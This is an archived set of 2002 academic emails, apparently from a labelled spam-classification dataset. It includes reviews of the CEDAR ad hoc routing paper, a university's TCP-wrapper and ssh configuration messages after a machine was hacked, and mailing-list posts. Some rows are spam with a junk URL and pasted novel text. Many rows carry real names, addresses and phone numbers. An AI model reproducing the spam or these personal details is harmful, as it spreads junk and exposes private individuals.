> > > >CEDAR > >The goal of this paper is provide quality of service (QoS) routing in MANET. >Here bandwidth is used as the QoS metric. So the goal is to find a route from >source to destionation satisfying the b/w requirements with high probability, >given that there is one. Concentration here is on coming up with a robust >algorithm which may be way off from the optimal. >Main idea is to work with the core (a dominating set of the network which >approximates the minimum dominating set). Core is formed using only local >computation and local state using constant time (each node does a small amount >of work in parallel.) Each core node performs route computation for the nodes >in its domain and also maintains the local topology. Core broadcast is >achieved using a reliable unicast mechanism while avoiding redundant message >transfers by monitoring RTS/CTS packets. >Only b/w information of stable links is propagated through the core network >(info about dynamic or low b/w links is kept local). This is done using slow- >moving increase waves and fast-moving decrease waves. When the b/w of a link >(ab) changes (increases/decreases beyond a threshold) either node a or b will >inform its dominator about the change and that will propage the change across >the core n/w using increase/decrease waves. The maximum distance a link state >can travel is proportional to the b/w of that link so that a lot of nodes know >about the good links. >QoS routing has three key steps: >-discover the location of destination and establish a ccore path to the same. >-now by finding the shortest-widest furthest admissible path along the core >path and iterating, we find a short stable admissible QoS route from source to >destination. >-in face of link failures or topology changes dynamically reestablish the >routes for ongoing connections. >Performance evaluation: Three main kinds of results: characteristics of the >basic routing algorithm, performance of QoS routing and performance in case of >failures/mobility. >Pros: One of the first to talk about QoS routing in adhoc networks. They give >a list of goals for QoS routing in adhoc networks. Results show the proof of >concept and satisfactory performance numbers. >Cons: Only QoS metric used here is b/w. Other metrics like delay, jitter etc >have not been considered. It is not clear why robustness is much more important >than optimality (finding close to the best possible). Experiment/Simulation >results are not complete; try out with larger number of nodes and more >realistic topologies. Here they state that their goal is robustness and not >optimality. There are many details which need to worked out (like how good an >idea is caching RTS/CTS, how often do we send information about b/w updates, >how does using reliable unicast to simulate core broadcast compare to naive >broadcasting and hoping redundancy would take care of transmission failures or > have some other scheme to take care of failures). Future work would include >addressing the issues discussed above. > >",0,0 Vivek Vishnumurthy ,Emin Gun Sirer ,"Tue, 24 Sep 2002 14:31:13 -0400",615paper19," This is the first paper we have seen that talks about a protocol that supports QoS requirements. Such a protocol is essential when a real-time application is being run, and the application needs some minimum guarantee of resources to work. A nice feature of the paper is that at the beginning it lists out the goals of CEDAR and the goals of QoS routing. The protocol does away with broadcasts altogether. It achieves the desired results of a broadcast by first building an underlying Core Node network, and then transmitting unicast messages between these Core nodes. But this means that when a particular Core Node has a large number of neighbors in the core, it has to spend a long time sending messages to these nodes one after the other. (whereas in an equivalent setup where broadcasts are used, a broadcast is achieved with just a single message) The protocol avoids redundant message transmission between Core nodes by caching the RTS/CTS packets that precede a Core message. The paper also describes the concept of ""Fast Moving Decrease Waves and Slow Moving Increase Waves"" for state propagation. This feature prevents the problems caused by links coming up for a short time and then crashing. Weaknesses: - The period for which the RTS and CTS pkts corresponding to a Core broadcast are cached is not specified. - During the QoS route computation, the protocol tries to build the longest sub-path(that satisfies the Bandwidth requirement) possible along the computed core path. This process might miss out on some possible routes, and the route computation could fail. (Eg: Suppose that this stage builds a path from Source S to an intermediate point T, but T eventually fails to find a required route to Dest D. It is possible that a route with the reqd BW exists from S to D along some other path) - The simulation has been conducted with a maximum of only 20 nodes. Also, in each set of simulations, a maximum of 10 end-to-end connections have been run. This is not substantial enough to analyse the protocol. - When there is a link failure, the protocol attempts both Point of Failure and Source reconfigurations. The Point of Failure reconfiguration is wasteful, because the in-transmit packets that this reconfig tries to get to the dest will, in probability, get there after the deadlines of the packets (The application has a bandwidth requirement, so the pkts have some delay constraints) The work can be improved by running longer simulations over larger networks, and measuring the throughput achieved. Also comparisons can be made with an optimal shortest-Just_Enough algo(that computes the shortest route among all those routes that have at least as much bandwidth as reqd), instead of with an optimal shortest-widest algo. ",0,0 Yong Yao ,Emin Gun Sirer ,"Tue, 24 Sep 2002 14:51:46 -0400",615 PAPER 19,"The CEDAR paper proposes using only the core, a subset of the nodes in the network, to perform routing. Each node is close to one core node, which is its dominator. Link states are propagated among core nodes to reduce the cost to construct and maintain routes. The communication between two nodes consists of three steps. First, the packet is sent to the dominator of the source, then forwarded to the dominator of the destination. Finally, it is delivered to the destination node from the dominator. CEDAR can also apply to other reactive routing protocols, like AODV,DSR, to increase the scalability of the algorithm. Its cluster-based structure is also useful to many other applications, like leader election, or collaborative signal processing algorithms. The paper also presents a local algorithm to select and maintain the core structure. Only local computation and topology information are involved to establish core nodes. Each core node behaves as the leader of its neighbors, and handles most routing workload. The link state algorithm will try to minimize the length of the path between arbitrary source and destination. The paper has a evaluation part including several experiments to demonstrate the routing algorithm and test its performance under different setup. However, the simulation model is a little simple. The number of nodes is small, and node density is not considered. The workload of the algorithm is not balanced over all nodes. It is reasonable to believe that core nodes are the bottleneck of the whole network, and may consume their battery power soon. How to dynamically switch the roles of core nodes and regular nodes and still keep the network topology relatively static is an interesting research problem. Scalability is another problem I worry while reading the paper. Is it possilbe to create large-size clusters or select higher level core nodes. CEDAR only leaves the routing problem to core nodes. It fails while network size increases. Recent hardware advances have enabled distribution of large scale ad hoc networks in the soon future. An interesting question is how to integrate CEDAR to other routing protocols. Yong ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Wed, 25 Sep 2002 12:53:31 -0400",Root access,"Dr. Gilfoyle, The root password for the lab machines does not work for me. Do I need to have a local account to those machines and do a ""su"", or I can ssh to root from onother machine? Sasko ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Wed, 25 Sep 2002 12:55:59 -0400",Access,"Just an update. The password works fro physxcd machine, not for gpg1 and mfv1. Sasko ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Wed, 25 Sep 2002 13:23:28 -0400",Arthur's account,"Dr. Gilfoyle, The account arayner has been opened on pscm1. Please let him call me fro the password. Sasko ",0,0 """St. Laurent, Tim"" ","""Gilfoyle, Gerard"" ","Wed, 25 Sep 2002 15:59:43 -0400",Physics Static IP Addresses,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jerry, I've allocated about 62 addresses in the pub_fab VLAN for your systems (and future systems) and put them behind the firewall. You can use the range from 141.166.223.128 thru 141.166.223.191. If you could let me know what machines have what IP address when you assign them I would appreciate it. I will need to make sure we delete the current information in our database so that the old numbers can be used again. We also discussed giving ""outsiders""access to only one machine through the firewall. Let me know which machine and who you want to access it, I will put that on the firewall. Thanks, Tim P.S. The VPN information can be found at: http://oncampus.richmond.edu/is/security/vpn . - ----------University of Richmond---------- Tim St. Laurent Security Administrator *tstlaure@richmond.edu *804-289-8655 -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use iQA/AwUBPZIVsG0ND4rSGyCQEQIXfwCfbkWmBkT1BKcSej2kRYfL+vzXxQsAn27/ 1d307SqmPPRv1HAnM8jrQRwt =k8X5 -----END PGP SIGNATURE-----",0,1 """Gerard P. Gilfoyle"" ",ggilfoyl@richmond.edu,"Wed, 25 Sep 2002 16:55:21 -0400",dds media,"http://www.compaq.com/products/storageworks/mediafamily/DAT_DDS.html -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,1 Audrey Ichida ,aaasfellows@aaas.org,"Wed, 25 Sep 2002 17:22:03 -0400",[AAASFellows] Who takes science policy interns?,"Hello former fellows, My graduate advisor has asked me for some help determining what institutes could take graduate science policy interns (paid for by someone else) Please send me ideas and contact information if you can, ASAP. His note to me is below. As usual, thanks ahead of time for your help. Cheers, Audrey Ichida >From: Julian Schroeder >To: ""Audrey Ichida"" >Subject: science policy summer intern >Date: Wed, 25 Sep 2002 13:43:02 -0700 > >Hi Audrey, > We are working on an interdisciplinary graduate student training >grant at UCSD, The Salk Institute and The Scripps Research Institute that >focuses on genomics, >proteomics, and computational biology (bioinformatics). This graduate >program will include the option for students to do either an internship in >a laboratory abroad or in the biotechnology industry. We would also like to >include the option of doing a science policy internship. Such an internship >would take place during a summer for about 6 weeks. The stipends and travel >costs of the student would be covered by the training grant. I assume that >this program might send one selected and highly qualified student to do a >public/science policy internship every year. My problem is that I don't >know any organization that could support us in placing summer >science/public policy interns. Do you have some good advice. A preproposal >is due in about 4 days, and therefore it would be helpful to receive >feedback or suggestions. Feel free to call or email me. >with best wishes, >Julian > > > >Julian I. Schroeder >Professor and Novartis Chair in Plant Sciences >University of California, San Diego >Division of Biological Sciences > Cell and Developmental Biology Section and > Center for Molecular Genetics 0116 >La Jolla, CA 92093-0116 >(858) 534-7759 phone >(858) 534-7108 fax >Julian@biomail.ucsd.edu >http://www-biology.ucsd.edu/labs/schroeder _________________________________________________________________ Join the world�s largest e-mail service with MSN Hotmail. http://www.hotmail.com _______________________________________________ AAASFellows mailing list AAASFellows@aaas.org http://mailman.aaas.org/mailman/listinfo/aaasfellows",0,1 Andrew Hearin ,ggilfoyl@richmond.edu,"Wed, 25 Sep 2002 17:25:47 -0400",Re: grv2 is off the network,"Hey Dr. Gilfoyle, just letting you know that as far as I know you can delete my account without any problems as none of my files are being used for research. -Andrew Hi Folks, > > One of our older machines, grv2, has been hacked so we have taken > it off the network. This is a Sun which is running an old version of > Solaris so IS wants to wipe the machine clean and install the latest > version of the operating system. There is about 7 GBytes worth of stuff > in the user accounts. I will back things up (there is a tape drive on > the machine), but it would help if you knew which files I could safely > throw away. Please let me know which files I can dump. If you are aware > of any files NOT in the user area (/usr/users) that should be saved, > let me know as soon as possible. Below is a list of the accounts in the > /usr/users area and the space used by some of the biggest users. Let me > know what you think. > > Jerry > > ahearin > aiqbal 0.2G > arayner > aweaver > bob > charlesworth > clark > clas 0.9G (release-3-2 which is out of date) > ecollins > fchinchi 0.3G > gardner 0.6G > gilfoyle 0.2G > lmcglinc > mfetea > rfetea > rhall2 > rubin > ttruckse > vermette 2.1G > vineyard 1.8G > > > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 fchinchi@cs.unc.edu,ggilfoyl@richmond.edu,"Thu, 26 Sep 2002 01:46:37 -0400",grv2,"I can't think of anything outside /usr/users Who will maintain it after they fix it up? How is the xerox printer going? How is 'the dude'? Progressin along nicely? Got all his shots? Katherine doing alright with it? I have to study for my first test, talk to you later. Francisco Chinchilla ",0,0 """Littlepage, Bob"" ","""Gilfoyle, Gerard"" ","Thu, 26 Sep 2002 10:57:18 -0400",RE: backup tapes,"I'll drop off a couple of tapes today. Bob -----Original Message----- From: Gerard P. Gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Wednesday, September 25, 2002 4:38 PM To: Littlepage, Bob Subject: backup tapes hi bob, do you have any extra tapes for a DDS 3 tape drive (like the one on grv2)? we used to have bunches of those things, but i can't find them now. lots of stuff got moved in february when the cluster lab was built. how much can we fit on a single DDS 3 tape? i seem to remember something like 2 GByte. thanks-in-advance, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Peter (Sci)"" ","""Starship-Design List (E-mail)"" ","Fri, 27 Sep 2002 20:16:29 +0100",Re: starship-design: Russia mulls mothballing space station,"> Russia mulls mothballing space station > Thursday, September 26, 2002 Posted: 2:31 PM EDT (1831 GMT) Just curious, does anyone know if international salvage law applys to spacecraft (as a type of ship?). Even if not, I doubt there's been a case of it yet. If the ISS is abandoned, like MIR was, I'd rather not see it wasted as dust in the upper atsmosphere. If it were to be abandoned, I imagine it could be claimed somehow and moved to a parking orbit until the claimee could make use of it. Sci",0,0 KellySt@aol.com,starship-design@lists.uoregon.edu,"Fri, 27 Sep 2002 16:54:45 -0400",Re: starship-design: Russia mulls mothballing space station,"In a message dated 9/27/02 3:18:10 PM, scifox@asylum30.freeserve.co.uk writes: >> Russia mulls mothballing space station >> Thursday, September 26, 2002 Posted: 2:31 PM EDT (1831 GMT) > > > > > >Just curious, does anyone know if international salvage law applys to >spacecraft (as a type of ship?). I beleave it does, though only a fool would try to ""claim"" a few billion dolars worth of US teratory. ;) >Even if not, I doubt there's been a case >of it yet. > >If the ISS is abandoned, like MIR was, I'd rather not see it wasted as >dust in the upper atsmosphere. If it were to be abandoned, I imagine it could >be claimed somehow and moved to a parking orbit until the claimee could make >use of it. > >Sci",0,0 """Amy S. Hughes"" ",touch@ISI.EDU,"Fri, 27 Sep 2002 15:17:21 -0700",Fwd: Defense Announcement,"You wanted a copy to send to people... -------------------- WHEN: September 30, 2002; 10:30am WHERE: SAL 322 CANDIDATE: Amy S. Hughes COMMITTEE: Joe Touch (chair) Christos Papadopolous Ahmed Helmy (outside member) TITLE: Enhancing Network Object Caches Through Cross-Domain Prediction ABSTRACT: Interactive applications must minimize user-perceived latency. Performance gains in all areas of computer software and hardware significantly reduce delays that users experience. Anticipating actions and exploiting resources removes delay from the critical path. In networked applications, increasing resources such as bandwidth eliminates most delays, but propagation delay is the result of the physical distances that separate clients and servers. When it is not possible to move resources closer to the user, the only way to avoid distance-based delays is to anticipate requests and satisfy them before the user makes them. Anticipating requests requires a predictor function to generate likely future requests. Predictors exploit structure in the application, such as usage patterns or object characteristics. A key contribution of this work is a model for representing predictors and their effects on an application. The model is extended to represent predictors that involve multiple application domains. The extension of this model, cross-domain prediction, provides new opportunities for prediction in applications that lack internal structure or where that structure is insufficient to predict all requests. Cross-domain prediction can reduce delays in the web by predicting requests that do not originate in the browser, such as URLs from e-mail messages. A test system comprised of a browser, a web proxy, and e-mail filters collected user interaction statistics about URLs embedded in e-mail messages. The results indicate that e-mailed URLs account for about a quarter of non-predictable requests. More than half of these URLs are static and prefetching these objects does not significantly increase request traffic or storage requirements. Even more opportunities for cross-domain prediction exist in other systems. --------------090209020206070404020208-- ",0,0 Janette Westhoff ,ggilfoyl@facstaff.richmond.edu,"Sat, 28 Sep 2002 19:07:56 -0700",Re: CtALlnS news,"Hi, V P A C L V X A r m I e I a L o b A v A n I z i L i G a U a e I t R x M c n S ra A http://www.kvoratizalopan.com Come on! said Bilbo. I am waiting! He tried to sound bold and cheerful, but he did not feel at all sure how the game was going to end, whether Gollum guessed right or not. Times up! he said. String, or nothing! shrieked Gollum, which was not quite fair-working in two guesses at once. ",1,1 gilfoyle ,Mike Vineyard ,"Sun, 29 Sep 2002 18:37:05 -0700",stuff on the cluster,"yo, the linux IS person, sasko stefanovski, has proposed some changes for the cluster. the main one he wants to implement now is to turn off all services to outside users except ssh and sftp. i don't think we are using anything outside these two so unless you disagree i will tell him to do that. the IS folks would also like to put the cluster behind a firewall because pscm1 uses an 'old' operating system. we have to think about this first and consult with linux labs. we also have to worry about transfer rates with a firewall in place. this won't happen for a while. how are things going? later jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" , ""Luminita Todor (E-mail)"" , ""Vineyard, Michael"" ","Mon, 30 Sep 2002 10:39:34 -0400",TCP wrappers conf.,"Tcpwrappers configuration on the the Beowulf cluster has been changed ========================= Previous /etc/hosts.allow ------------------------- ALL: 192.168.1.0/255.255.255.0 all: 192.168.2.0/255.255.255.0 ALL: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, alb-24-194-69-8.nycap.rr.com ========================== Current configuration -------------------------- ALL : 141.166., 192.168.1., 127.0.0.1 sshd: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, alb-24-194-69-8.nycap.rr.com Please check the connectivity, and report any problem you experience. Sasko ",0,0 """Michael F. Vineyard"" ","""Stefanovski, Sasko"" ","Mon, 30 Sep 2002 10:57:26 -0400",Re: TCP wrappers conf.,"Does anyone know why .princeton.edu is included here? Mike ""Stefanovski, Sasko"" wrote: > Tcpwrappers configuration on the the Beowulf cluster has been changed > ========================= > Previous /etc/hosts.allow > ------------------------- > ALL: 192.168.1.0/255.255.255.0 > all: 192.168.2.0/255.255.255.0 > > ALL: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, > 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, > localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, > alb-24-194-69-8.nycap.rr.com > ========================== > Current configuration > -------------------------- > ALL : 141.166., 192.168.1., 127.0.0.1 > sshd: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, > 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, > localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, > alb-24-194-69-8.nycap.rr.com > > Please check the connectivity, and report any problem you experience. > > Sasko -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 """Stefanovski, Sasko"" ","""'Michael F. Vineyard'"" ","Mon, 30 Sep 2002 11:00:56 -0400",RE: TCP wrappers conf.,"Mike, I asked Dr. Gilfoyle to make selective list of the users of the cluster. For the time being I just copied the old setup, since I do not know who are the legitimate users. Sasko -----Original Message----- From: Michael F. Vineyard [mailto:vineyarm@union.edu] Sent: Monday, September 30, 2002 10:57 AM To: Stefanovski, Sasko Cc: Gilfoyle, Gerard; Luminita Todor (E-mail); Vineyard, Michael Subject: Re: TCP wrappers conf. Does anyone know why .princeton.edu is included here? Mike ""Stefanovski, Sasko"" wrote: Tcpwrappers configuration on the the Beowulf cluster has been changed ========================= Previous /etc/hosts.allow ------------------------- ALL: 192.168.1.0/255.255.255.0 all: 192.168.2.0/255.255.255.0 ALL: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, alb-24-194-69-8.nycap.rr.com ========================== Current configuration -------------------------- ALL : 141.166., 192.168.1., 127.0.0.1 sshd: 152.2., *.unc.edu, 149.106., *.union.edu, 127.0.0.1, 199.17.31.144, 199.17.62.65, .richmond.edu, 141.166., 216.162., 216.163., .linuxlabs.com, localhost, .jlab.org, 129.57., grendel.va.gwu.edu, .princeton.edu, alb-24-194-69-8.nycap.rr.com Please check the connectivity, and report any problem you experience. Sasko -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm",0,1 Luminita Todor ,gilfoyle ,"Mon, 30 Sep 2002 11:14:47 -0400",Re: TCP wrappers conf.,"I didn't add princeton.edu either. Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Mon, 30 Sep 2002 11:47:51 -0400",Using ssh and scp,"Dr. Gilfoyle, As I have promised, here is how you can use ssh and scp without the need to retype your password often. On your client machine: 1. Generate ssh-key with ssh-keygen -t dsa -b 1024 -f ~/.ssh/id_dsa This will generate 2 files in your ~/.ssh directory: - id_dsa - id_dsa.pub I've decided to create key-pair just for ssh v2 protocol. There is no need for this step if you already have your keys generated. See in ~/.ssh directory. 2. Copy the id_dsa.pub file in the ~/.ssh directory on the pscm1 machine and append it to the authorized_keys2 file cd ~/.ssh scp id_dsa.pub gilfoyle@pscm1.richmond.edu:.ssh ssh pscm1.richmond.edu cd .ssh cat id_dsa.pub >> authorized_keys2 3. Try to login from your client machine using ssh ssh pscm1.richmond.edu You will get something like: Enter passphrase for key '/.ssh/id_dsa' : Here enter the password you chose while generating the ssh-keys. Successful login says the setup is o.k. 4. Now, in order not to have your password entered on every ssh connection or for every scp file transfer, do the following on your client machine once you have logged in (on the client machine). Execute (in xterm, or whatever terminal window you are using): ssh-agent /bin/ksh Note: Replace /bin/ksh with whatever you are using for your login shell. Then, authenticate yourself to the agent with: ssh-add Enter here your password you were using for generating the ssh-keys From now on, you can login with ssh or do an scp to your cluster account without providing password. Please be notified that you can do that only from the terminal window ssh-agent was executed in, and from its child processes (You can open another xterm from that window, and you can initiate ssh connections without password from that window too). If you want to delete your identity from the agent you can use ssh-add -d or if you decide to remove the agent do ssh-agent -k in the same xterm you have used to start it. Hope you'll have no problems using ssh/scp. Cheers, Sasko",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Mon, 30 Sep 2002 16:45:22 -0400",,"Dr. Gilfoyle, I noticed that pscm1 and physxcd have their time drifted a little. Do you want me to setup the NTP protocol on both so they will synchronize with our Campus time servers? Will you be in town this Wednesday again? If so can we meet so I can get the passwords for the other Scientific Workstations in your lab. Sasko ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 01 Oct 2002 09:06:42 -0400",RE: Using ssh and scp,"Dr. Gilfoyle, >From the command line, I understand that you ran ssh-add on pcsm1. You have to ran that command from your client machine (presumable remote) from where you want to login into pscm1. That is to be the machine where you generated your ssh keys. In the setup steps that I sent to you, step 4 is to be done on the remote machine (i.e. your home machine). Maybe my description was a little fuzzy. In step 4, ""after you logged in"" means on the ""client"" machine from where you will initiate ssh session to the pscm1. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, September 30, 2002 9:06 PM To: Stefanovski, Sasko Subject: Re: Using ssh and scp hi sasko, i tried out the directions below and got through most of it successfully until i did ssh-add. then i got the following. pscm1:gilfoyle> ssh-add /home/gilfoyle/.ssh/identity: No such file or directory pscm1:gilfoyle> any ideas on how i messed up? jerry ""Stefanovski, Sasko"" wrote: > > Dr. Gilfoyle, > > As I have promised, here is how you can use ssh and scp without the need to > retype your password often. > > On your client machine: > 1. Generate ssh-key with > ssh-keygen -t dsa -b 1024 -f ~/.ssh/id_dsa > This will generate 2 files in your ~/.ssh directory: > - id_dsa > - id_dsa.pub > I've decided to create key-pair just for ssh v2 protocol. > There is no need for this step if you already have your keys generated. > See in ~/.ssh directory. > > 2. Copy the id_dsa.pub file in the ~/.ssh directory on the pscm1 machine and > append it to the authorized_keys2 file > cd ~/.ssh > scp id_dsa.pub gilfoyle@pscm1.richmond.edu:.ssh > ssh pscm1.richmond.edu > > cd .ssh > cat id_dsa.pub >> authorized_keys2 > > 3. Try to login from your client machine using ssh > ssh pscm1.richmond.edu > You will get something like: > Enter passphrase for key '/.ssh/id_dsa' : > Here enter the password you chose while generating the ssh-keys. > Successful login says the setup is o.k. > > 4. Now, in order not to have your password entered on every ssh connection > or for every scp file transfer, > do the following on your client machine once you have logged in (on the > client machine). > > Execute (in xterm, or whatever terminal window you are using): > ssh-agent /bin/ksh > Note: Replace /bin/ksh with whatever you are using for your login shell. > Then, authenticate yourself to the agent with: > ssh-add > Enter here your password you were using for generating the ssh-keys > From now on, you can login with ssh or do an scp to your cluster account > without providing password. Please be notified that you can do that only > from the terminal window ssh-agent was executed in, and from its child > processes (You can open another xterm from that window, and you can initiate > ssh connections without password from that window too). > If you want to delete your identity from the agent you can use > ssh-add -d > or if you decide to remove the agent do > ssh-agent -k > in the same xterm you have used to start it. > > Hope you'll have no problems using ssh/scp. > > Cheers, > Sasko -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,0 IMRN Alert ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 02 Oct 2002 19:01:16 +0200",International Mathematics Research Notices 2003:3,">>> International Mathematics Research Notices IMRN provides very fast publication of research articles of high current interest in all areas of mathematics. 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But what comes next? Bilbo saw that the time had come to explain his idea, as far as he could; but he did not feel at all sure bow the dwarves would take it. His fears were quite justified, for they did not like it a bit, and ",1,1 Afra Zomorodian ,"Niloy Mitra , Daniel Russel , Natasha Gelfand , Anne Collins , Erika Chuang , Pradeep Sen ","Wed, 02 Oct 2002 17:43:50 -0700",TND permanent members,"Hi, So, a few of us have been talking about a ""Restaurant Club"" which would be a weekly dinner at some restaurant. The rules are simple: - visit a restaurant only once - every thursday: this is to allow for people with significant others who have lives. - dutch treat: you pay for yourself - ""Steen's 25% rule"" -- everyone adds their amount up, adds 25% for tax/tip to it, and pays up. The primary point of this club is the food, food, food. A secondary point is social interaction. You can bring potential significant others for group review (I can imagine all sorts of really bad pick up lines, here, but those are reserved for monkeyluv.) It's Dutch treat (thank god we have no Dutch amongst us) because that way, you can go and get a salad if that's all you want and not have to pay $20 for it (as it once happened to a friend.) So, we need some ""permanent members"" who'd always be present, otherwise, the whole thing falls apart. I did this both in Champaign and Durham, and I've had my share of whiners who want to know what kind of food we're having, and even _who's_ going, and wah wah wah, before they make up their minds.... Of course, non-permanent ""observers"" are welcome. Once the club gets an established track, I'm sure more and more people will come. But we need to get it going, hence the need for permanent members! At any rate, feel free to suggest other people for founding. And tell me if you want to be a founding member. If we can, we should go for the first dinner tomorrow night. Afra P.S. need a better name: TND = Thursday Night Dinners sounds too much like APL. P.P.S. it'll be great! we'll make a website, write reviews, get a startup going, go to VC's and get a gazillion dollars... oh wait... damn! P.P.P.S. Pradeep: you're the local ""real graphics people"" rep... Anne: you do same for Math Dept. ",0,0 """Schmidt, Darren"" ",'Linda Kingery' ,"Thu, 03 Oct 2002 11:31:22 -0500",RE: methane project - and our questions,"Answers below + an attachment showing calculations. Please forward. -----Original Message----- From: Linda Kingery [mailto:lkingery@polarcomm.com] Sent: Wednesday, September 25, 2002 2:45 PM To: Schmidt, Darren Subject: methane project - and our questions Darren, I forwarded your proposal to a few of my board members. These are the questions they would like to have answered before the proposal comes to the board for review. 1) What do we already know about the concentration of methane in livestock buildings? [Schmidt, Darren] I have found very little information. EPA has studied pollution issues. The Australians have studied production from cattle which my numbers are based. What concentrations of methane occur in hog confinement buildings, in dairy barns, etc? [Schmidt, Darren] Dairy cows are expected to be the greatest emitters because of the 4 stomach system, which emits over most of the methane from their mouth. How can ventilation systems be managed or modified to optimize animal health and production and concentrations of methane that would make running a microturbine possible? [Schmidt, Darren] 1.3% or 1.5% methane in air is what we desire. Capstone turbine is aware of this opportunity that we are exploring and they are working on catalysts that could handle concentrations as low as 0.5%. At this point we do not know if we can get the methane to separate, as opposed to dispersing in the air. If separation is possible than ventilation systems can be designed for adequate ventilation. (Work needs to be done in this area if we find that barns can produce 1.5% methane.) We want to take measurements to justify whether further research is necessary. 2) What is the cost of the microturbine and what is the pay-back for the livestock operation? Capital cost of investing in the microturbine and accessories vs value of energy generated. [Schmidt, Darren] Flex-turbines are expected to cost $40,000. Ball park economics - 30 kW, 8000 hrs per year, electricity at $0.07 Revenue = $16,800 per year Simple payback = 2.4 years MN has a state mandate for payment of electricity at retail rates for 40kW and less, generated from renewable sources. Linda Kingery University of Minnesota Northwest Regional Sustainable Development Partnership 262 Owen 2900 University Ave Crookston, MN 56716 1-887-854-7737 lkingery@polarcomm.com",0,0 """Schmidt, Darren"" ",'Linda Kingery' ,"Thu, 03 Oct 2002 11:34:11 -0500",RE: Methane in livestock operations - EERC proposal,"See - www.flexenergy.com See - http://www.eren.doe.gov/biopower/projects/ia_pr_sm_CA.htm -----Original Message----- From: Linda Kingery [mailto:lkingery@polarcomm.com] Sent: Thursday, September 26, 2002 10:40 PM To: Schmidt, Darren Subject: Fw: Methane in livestock operations - EERC proposal Darren, One of the NWP board members is Bill Wilcke - he's in the Biosystem and Ag Engineering Dept at UM. He sent this note -- ""Just by chance, a guy from Wisconsin called me about a project in the Phillipines where someone is trying to match microturbines with grain dryers. He didn't have a lot of details, but it might be worth having Darren list other places in the world where people are experimenting with microturbines."" Please include other examples you are aware of in your response. ",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" , ""Luminita Todor (E-mail)"" , ""Vineyard, Michael"" ","Fri, 04 Oct 2002 16:32:29 -0400",Change Control,"Changes that are to be done next week: 1. Change tcpwrappers configuration a. physxcd /etc/hosts.allow current: ALL: pscm1.richmond.edu, mfv2.richmond.edu, gpg2.richmond.edu, 141.166.237.99, 127.0.0.1, localhost, physxcd.richmond.edu, 141.166.233.70, 141.166.226.90, grv1.richmond.edu, grv2.richmond.edu, jlabs1.jlabs.org, gpg1.richmond.edu, mfv1.richmond.edu, psc1.richmond.edu, 141.166.222.217, *.jlab.org, 129.57. to be: ALL: 127.0.0.1, pscm1.richmond.edu, mfv2.richmond.edu, gpg2.richmond.edu, 141.166.237.99, physxcd.richmond.edu, 141.166.233.70, 141.166.226.90, grv1.richmond.edu, grv2.richmond.edu, gpg1.richmond.edu, mfv1.richmond.edu, psc1.richmond.edu, 141.166.222.217 sshd: jlabs1.jlabs.org, *.jlab.org, 129.57. # Sasko's laptop sshd: 141.166.182.90 /etc/hosts.deny current: ALL: ALL sshd: ALL sshd2: ALL portmap: ALL to be: ALL: ALL b. gpg1 /ec/hosts.allow current: ALL: *.cs.unc.edu, rdu26-45-042.nc.rr.com, beta.richmond.edu, pscm1.richmond.edu, mfv2.richmond.edu, gpg2.richmond.edu, 141.166.237.99, 127.0.0.1, localhost, physxcd.richmond.edu, 141.166.233.70, 141.166.226.90, grv1.richmond.edu, grv2.richmond.edu, jlabs1.jlabs.org, gpg1.richmond.edu, mfv1.richmond.edu, psc1.richmond.edu, 141.166.222.217, *.jlab.org, 129.57. to be: ALL: 